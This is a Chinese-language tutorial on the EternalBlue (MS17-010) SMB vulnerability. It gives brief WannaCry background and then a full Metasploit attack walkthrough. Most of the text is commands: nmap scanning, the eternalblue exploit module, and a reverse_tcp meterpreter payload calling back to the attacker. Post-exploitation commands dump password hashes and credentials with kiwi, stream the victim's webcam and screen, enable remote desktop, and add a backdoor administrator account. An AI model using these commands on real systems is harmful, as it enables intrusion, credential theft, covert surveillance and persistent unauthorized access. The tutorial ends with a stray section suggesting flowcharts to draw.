(一)什么是永恒之蓝?
定义:永恒之蓝(Eternal Blue)是一种利用 Windows 系统 SMB 协议漏洞(通常使用 139、445 端口)的攻击方式,攻击者通过该漏洞可获取系统最高权限,进而控制被入侵计算机。
影响范围:
- 2017 年 5 月 12 日,不法分子改造"永恒之蓝"制作了 WannaCry 勒索病毒,导致全球范围内大量机构(包括学校、大型企业和政府机构)遭受攻击。
- 被攻击设备被锁定,要求支付 300 美元比特币赎金,否则删除文件。
- 攻击通过扫描开放 445 端口的 Windows 机器,无需用户操作,开机上网即可被植入勒索软件、远程控制木马等恶意程序。
- 受影响国家包括乌克兰、俄罗斯、西班牙、法国、英国等,重要基础设施(政府、银行、电力系统等)均被波及。
(二)受影响的系统版本
桌面操作系统:
- Windows XP
- Windows Vista
- Windows 7
- Windows 8
- Windows 8.1
- Windows 10
服务器操作系统:
- Windows Server 2000
- Windows Server 2003
- Windows Server 2008
- Windows Server 2012
- Windows Server 2016
备注:是否受影响取决于是否安装了对应的补丁。
二、永恒之蓝攻击步骤
(一)内网扫描存活机器
命令:
1
nmap -sS -p 445 192.168.110.0/24 > p_445
解释:
- 使用
nmap
工具进行半开放扫描(-sS
),扫描指定网段(192.168.110.0/24
)内开放 445 端口的主机。 - 扫描结果保存到文件
p_445
中。
- 使用
目的:找出内网中可能存在的目标主机。
(二)确定攻击目标
- 操作:筛选出开放 445 端口的存活机器,确定攻击目标。
(三)测试目标连通性
命令:
1
ping [目标IP]
解释:通过
ping
命令测试目标主机的网络连通性,确保目标主机可达。
(四)打开 Kali 数据库
命令:
1 2 3
service postgresql status service postgresql start service postgresql status
解释:
- 查看 PostgreSQL 数据库服务的状态。
- 如果未开启,则启动数据库服务。
- 再次确认数据库服务已成功启动。
(五)数据库初始化
命令:
1
msfdb init
解释:初始化 Metasploit 框架的数据库,为后续攻击做准备。
(六)启动 msf 工具
命令:
1
msfconsole
解释:启动 Metasploit 框架的控制台。
(七)搜索永恒之蓝漏洞
命令:
1
search ms17_010
解释:在 Metasploit 框架中搜索与 MS17-010 漏洞相关的模块。
(八)选择扫描模块
命令:
1 2
use auxiliary/scanner/smb/smb_ms17_010 use exploit/windows/smb/ms17_010_eternalblue
解释:
auxiliary/scanner/smb/smb_ms17_010
:用于扫描目标主机是否存在 MS17-010 漏洞(Proof of Concept,PoC 扫描)。exploit/windows/smb/ms17_010_eternalblue
:用于实际利用 MS17-010 漏洞的攻击模块。
(九)设置扫描基本配置
命令:
1 2 3
set rhost [目标IP] set payload windows/x64/meterpreter/reverse_tcp set lhost [攻击机IP]
解释:
rhost
:设置目标主机的 IP 地址。payload
:设置攻击载荷,这里使用的是windows/x64/meterpreter/reverse_tcp
,即 64 位 Windows 系统的 Meterpreter 反向 TCP 连接。lhost
:设置攻击机的 IP 地址,用于接收目标主机的 Meterpreter 连接。
(十)开始攻击
命令:
1 2
run exploit
解释:执行攻击,利用 MS17-010 漏洞入侵目标主机。
(十一)攻击生效
操作:攻击成功后,可进行以下操作:
- 文件上传下载
- 获取截屏
- 获取密码
- 开启摄像头
- 后门持久化等
三、漏洞利用
(一)截屏
命令:
1
screenshot
解释:通过 Meterpreter 的
screenshot
命令获取目标主机的屏幕截图,截图保存在攻击机的/home/mz/
目录下。
(二)获取账号密码
命令:
1 2 3 4 5
hashdump load kiwi ps -S "csrss" migrate [进程号] creds_all
解释:
hashdump
:获取目标主机的用户名及加密密码。load kiwi
:加载 Kiwi 模块,用于获取更详细的凭证信息。ps -S "csrss"
:搜索csrss.exe
进程,获取其进程号。migrate [进程号]
:将 Meterpreter 迁移到指定进程,获取更高的权限(如 SYSTEM 权限)。creds_all
:获取目标主机的所有凭证信息,包括解析加密密码。
(三)实时监控
命令:
1 2
run vnc screenshare
解释:
run vnc
:启动 VNC 服务,用于远程桌面监控。screenshare
:共享屏幕,实时查看目标主机的屏幕操作。
(四)开启摄像头
命令:
1
webcam_stream
解释:通过 Meterpreter 的
webcam_stream
命令开启目标主机的摄像头,实时监控。
四、后渗透阶段
(一)Shell 连接目标机器
命令:
1
shell
解释:通过 Meterpreter 的
shell
命令获取目标主机的命令行交互界面。
(二)消除乱码
命令:
1
chcp 65001
解释:在目标主机上设置字符编码为 UTF-8,避免乱码问题。
(三)开启目标远程桌面服务
命令:
1
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
解释:通过 Windows Management Instrumentation Command-line(WMIC)工具开启目标主机的远程桌面服务(默认端口 3389)。
(四)查看端口开启状态
命令:
1
netstat -an
解释:查看目标主机的网络连接状态,确认远程桌面服务端口(3389)是否已开启。
(五)远程桌面连接
命令:
1
rdesktop [目标IP]
解释:使用
rdesktop
工具连接目标主机的远程桌面服务。
(六)登录账号密码
操作:
如果目标主机已有账号密码,直接使用。
如果没有,可通过以下命令新建用户并提升为管理员:
创建用户:
1
net user hack 123456 /add
提升为管理员:
1
net localgroup administrators hack /add
图形化建议
你可以根据上述内容绘制以下流程图:
攻击流程图:
- 内网扫描存活机器 → 确定攻击目标 → 测试目标连通性 → 打开 Kali 数据库 → 数据库初始化 → 启动 msf 工具 → 搜索漏洞 → 选择扫描模块 → 设置扫描配置 → 开始攻击 → 攻击生效。
漏洞利用流程图:
- 截屏 → 获取账号密码 → 实时监控 → 开启摄像头。
后渗透阶段流程图:
- Shell 连接目标机器 → 消除乱码 → 开启远程桌面服务 → 查看端口状态 → 远程桌面连接 → 登录账号密码。